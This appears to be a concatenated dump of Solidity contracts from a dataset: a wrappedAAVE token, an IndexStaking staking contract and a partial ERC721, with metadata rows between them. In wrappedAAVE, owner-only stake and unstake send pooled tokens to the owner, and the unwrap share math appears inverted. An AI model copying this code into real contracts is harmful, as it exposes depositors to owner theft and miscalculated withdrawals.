// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDelegationToken {
function delegate(address delegatee) external;
}
interface IStakedAave {
function stake(address to, uint256 amount) external;
function redeem(address to, uint256 amount) external;
function cooldown() external;
function claimRewards(address to, uint256 amount) external;
function delegate(address delegatee) external;
}
contract wrappedAAVE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _aaveAddress;
address public _stkaaveAddress;
address public _delegation;
address public _feedest;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
IDelegationToken AAVEaddx;
IStakedAave STKAAVEaddx;
event Mint(address indexed sender, uint amount0);
event Burn(address indexed sender, uint amount0);
event Change(address indexed to,string func);
event Rewards(uint256 amount);
function setFeeDest(address val) onlyOwner public returns(address){
_feedest = val;
emit Change(val,"feedest");
return val;
}
function setAAVEAddress(address AAVEAddress) onlyOwner public returns(address) {
AAVEaddx = IDelegationToken(AAVEAddress);
_aaveAddress = AAVEAddress;
emit Change(AAVEAddress,"AAVE");
return _aaveAddress;
}
function setSTKAAVEAddress(address STKAAVEAddress) onlyOwner public returns(address) {
STKAAVEaddx = IStakedAave(STKAAVEAddress);
_stkaaveAddress = STKAAVEAddress;
emit Change(STKAAVEAddress,"STKAAVE");
return _stkaaveAddress;
}
function setdelegation(address _val) onlyOwner public returns (address result) {
STKAAVEaddx.delegate(_val);
AAVEaddx.delegate(_val);
_delegation = _val;
emit Change(_val,"delegation");
return _val;
}
function claimStakingRewards(uint256 amt) onlyOwner public{
uint256 fees = (amt*10)/5000;
uint256 receivable = amt-fees;
STKAAVEaddx.claimRewards(_feedest,fees);
STKAAVEaddx.claimRewards(address(this),receivable);
emit Rewards(amt);
}
function stake(uint256 amt) onlyOwner public returns(bool result){
IERC20 token;
token = IERC20(_aaveAddress);
token.approve(_stkaaveAddress,amt);
STKAAVEaddx.stake(msg.sender,amt);
return true;
}
function activateUnstakingCooldown() onlyOwner public returns(bool result){
STKAAVEaddx.cooldown();
return true;
}
function unstake(uint256 amt) onlyOwner public returns(bool result){
STKAAVEaddx.redeem(msg.sender,amt);
return true;
}
function wrap(uint256 amount) public returns (uint256) {
IERC20 aave;
IERC20 stkaave;
aave = IERC20(_aaveAddress);
stkaave = IERC20(_stkaaveAddress);
uint256 Aave = aave.balanceOf(address(this));
uint256 Stk = stkaave.balanceOf(address(this));
uint256 totalAave = Aave+Stk;
// Gets the amount of Ghost Farm in existence
uint256 totalShares = totalSupply();
// If no Ghost Farm exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalAave == 0) {
_mint(msg.sender, amount);
}
else {
uint256 what = amount.mul(totalShares).div(totalAave);
uint256 fees = (what*10)/5000;
require(fees>1,"Fee:Unpayable");
uint256 receivable = what-fees;
_mint(msg.sender, receivable);
_mint(_feedest, fees);
emit Mint(msg.sender,receivable);
emit Mint(_feedest,fees);
}
require(aave.transferFrom(msg.sender, address(this), amount),"Not enough tokens!");
return amount;
}
function wrapSTKAAVE(uint256 amount) public returns (uint256) {
IERC20 aave;
IERC20 stkaave;
aave = IERC20(_aaveAddress);
stkaave = IERC20(_stkaaveAddress);
uint256 Aave = aave.balanceOf(address(this));
uint256 Stk = stkaave.balanceOf(address(this));
uint256 totalAave = Aave+Stk;
// Gets the amount of Ghost Farm in existence
uint256 totalShares = totalSupply();
// If no Ghost Farm exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalAave == 0) {
_mint(msg.sender, amount);
}
else {
uint256 what = amount.mul(totalShares).div(totalAave);
uint256 fees = (what*10)/5000;
require(fees>1,"Fee:Unpayable");
uint256 receivable = what-fees;
_mint(msg.sender, receivable);
_mint(_feedest, fees);
emit Mint(msg.sender,receivable);
emit Mint(_feedest,fees);
}
require(stkaave.transferFrom(msg.sender, address(this), amount),"Not enough tokens!");
return amount;
}
function unwrap(uint256 amount) public {
IERC20 aave;
IERC20 stkaave;
aave = IERC20(_aaveAddress);
stkaave = IERC20(_stkaaveAddress);
uint256 Aave = aave.balanceOf(address(this));
uint256 Stk = stkaave.balanceOf(address(this));
uint256 totalAave = Aave+Stk;
// Gets the amount of Ghost Farm in existence
uint256 totalShares = totalSupply();
// Calculates the amount of Aave the Ghost Farm is worth
uint256 what = amount.mul(totalShares).div(totalAave);
uint256 fees = (what*10)/5000;
require(fees>1,"Fee:Unpayable");
uint256 receivable = what-fees;
aave.transfer(msg.sender,receivable);
_burn(msg.sender, amount);
emit Burn(msg.sender,amount);
}
function unwrapSTKAAVE(uint256 amount) public returns (uint256) {
IERC20 aave;
IERC20 stkaave;
aave = IERC20(_aaveAddress);
stkaave = IERC20(_stkaaveAddress);
uint256 Aave = aave.balanceOf(address(this));
uint256 Stk = stkaave.balanceOf(address(this));
uint256 totalAave = Aave+Stk;
// Gets the amount of Ghost Farm in existence
uint256 totalShares = totalSupply();
// Calculates the amount of Aave the Ghost Farm is worth
uint256 what = amount.mul(totalShares).div(totalAave);
uint256 fees = (what*10)/5000;
require(fees>1,"Fee:Unpayable");
uint256 receivable = what-fees;
stkaave.transfer(msg.sender,receivable);
_burn(msg.sender, amount);
emit Burn(msg.sender,amount);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 245,630 | 538 |
dab762b949006449375f4a2cc054b9f722b1c20afa2070809ce03689d4e46186
| 25,918 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/81/8119A7534e296Be0974F53A669a14654E6F48018_IndexStaking.sol
| 4,361 | 17,580 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IsINDEX is IERC20 {
function rebase(uint256 indexProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract IndexStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IsINDEX;
IERC20 public immutable INDEX;
IsINDEX public immutable sINDEX;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 sindexAmount, uint256 indexAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _INDEX,
address _sINDEX,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_INDEX != address(0));
INDEX = IERC20(_INDEX);
require(_sINDEX != address(0));
sINDEX = IsINDEX(_sINDEX);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
INDEX.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sINDEX.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sINDEX.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sINDEX.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sINDEX.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
INDEX.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sINDEX.safeTransferFrom(msg.sender, address(this), _amount);
INDEX.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sINDEX.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sINDEX.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = sINDEX.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return INDEX.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 99,836 | 539 |
2e8efb06b8e31241895f2ecde515cf902d1a30ab696a19414bcd4083d0188e44
| 31,911 |
.sol
|
Solidity
| false |
341572401
|
droconnel22/Ethereum-Solidity-Collection
|
57ad27b5bbdecdc1efaa7d7478c14adee3a12d24
|
nft-kit/deployed/ERC721Tradeable.sol
| 4,136 | 16,691 |
// SPDX-License-Identifier: MIT
pragma solidity <0.9.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
